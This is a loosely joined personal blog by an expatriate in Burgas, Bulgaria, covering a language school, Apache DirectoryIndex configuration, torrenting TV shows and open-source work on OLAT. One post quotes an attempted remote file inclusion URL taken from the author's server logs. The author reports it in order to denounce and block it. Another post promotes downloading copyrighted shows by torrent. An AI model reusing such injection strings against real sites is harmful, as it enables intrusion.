The above is a link to Zlatina’s school, the British Cultural Centre, Burgas.  It’s her english-language school, she teaches children from the age of 4 until they graduate from high school.

I designed the website based on the Education theme from studiopress.  Zlatina wrote all the Bulgarian stuff you see, her son Petko typed it all in.  Stop by for a visit

and you can actually type in http://localhost/index.php and get your phpinfo page coming out.  But it seems nowhere in the docs can you find out how to get apache2 to recognize index.php as the first page to deliver.

So, I found out where, finally.  In your WAMP environment there’s only the http.conf file, you look for the DirectoryIndex, and move index.php or insert “index.php” to the front of the line.  In this ubuntu 9.10 LAMP setup, where the hell is the file?

/etc/apache2/mods-available/dir.conf

That’s where it is.  open the file, it looks like this after your normal lamp setup in this environment

Notice the “index.php” somewhere in the DirectoryIndex list … move that to the front of the list as in

tried this:

http://www.hagelnx.com/?_SERVERDOCUMENT_ROOT=http://www.ikant.co.kr///data/id.txt??

on my server.  Guess what 92.50.143.90 ?  You are blacklisted.  I’m not even going to let you through my router anymore.  That’s a pathetic attempt to break into my sever, how old are you, 5?  And lastly, f**k you.

http://translate.google.com/?hl=en#

or at

http://www.microsofttranslator.com/Default.aspx

and they “generally” help me to understand them.  I have many friends here in Bulgaria who are fluent in Russian as a matter of fact, so I will be asking them to help translate these comments for me.

During our recent trip to Istanbul last August, Zlatina (fluent in Russian) told me that the most common second-language she encountered there after English was Russian.

So welcome to my blog, Russia!  Zlatina and I are discussing a trip next summer to St. Petersburg, a fascinating and historical city by all I’ve read. I hope to see some of you there

Or can we? Hotspotshield didn’t block the commercials, all the usual commercial reasons for blocking content are not in effect here. Well, maybe I’m not going to be buying hamburgers at Wendy’s or some “pre-owned” car from some local schmuck …

In any case, this is as much a promotion for using the torrents as anything. And guess what? If you download The Daily Show (which you can do a couple of hours after it’s broadcast) …. or House MD … you get a copy with no commercials.

Haven’t these idiots figure this stuff out yet? I really should stop asking that question, shouldn’t I.

Oh, and another thing – I have a fiber optic connection in my apartment here in Bulgaria. Ain’t that something? I can download and upload torrents originating from around the world – and especially from the US – faster from Bulgaria than I could from within the US. Thanks a bunch At&t and Comcast. I had to leave the country to get away from you!

Vuze Get your Vuze bittorrent app right here. Works on Mac os x, windows, *nix.

added: Recently downloaded all of the original Pink Panther movies, in their original format transferred to digital.

So Pelotas, tell me about yourself.  Who are you, why are you visiting my blog?  I’m just curious.

I’m still taking Bulgarian lessons from Zlatina and enjoying that very much.  We have become friends, I’m helping her give english tests to the children at her school and she’s giving me these lessons and we’re kind of calling it even on that.

Lately we’ve been having a late lunch at the Burgas Ethnographic Museum, we spend half our time on the lesson and half our time just chatting like friends.

I’ve had a recent success with the people at the University of Zurich regarding their open source software – I’ve helped them redesign their application build environment using Maven, until recently using Ant.  Other people there took it, went with it, did there own redesign and so on.

I just love it, here I am, a man from California, living in Burgas Bulgaria, contributing to software designed and maintained at the Univeristy of Zurich in Switzerland, that software being used by people around the world.  It’s good to be a human on this planet.  It’s good to have friends in far locations.

It’s just good.

Photos from Sofia

Had another Bulgarian language lesson with Zlatina today, helped her out with some of her Bulgarian students.  Very bright people, these children of Bulgaria seemed quite determined to add English to their repertoire.

This coming friday Nedda and I have a skype conversation planned with some people from the University of Zurich, the authors of OLAT.  Basically we’re going to help them mavenize their project, currently the primary module OLAT3 is only built with ant.  We’re going to contribute to this open source project, always a good feeling don’t you know.

I’m going back to Madison to work a short contract with my friend Hicham.  I’ll be arriving on Saturday night, november 22nd.

I remember last year the first real snow fell on December 1, what can I expect this year?  It will be my third winter in Madison, true snow country.

Still waitiing to hear what’s going to happen in Bulgaria.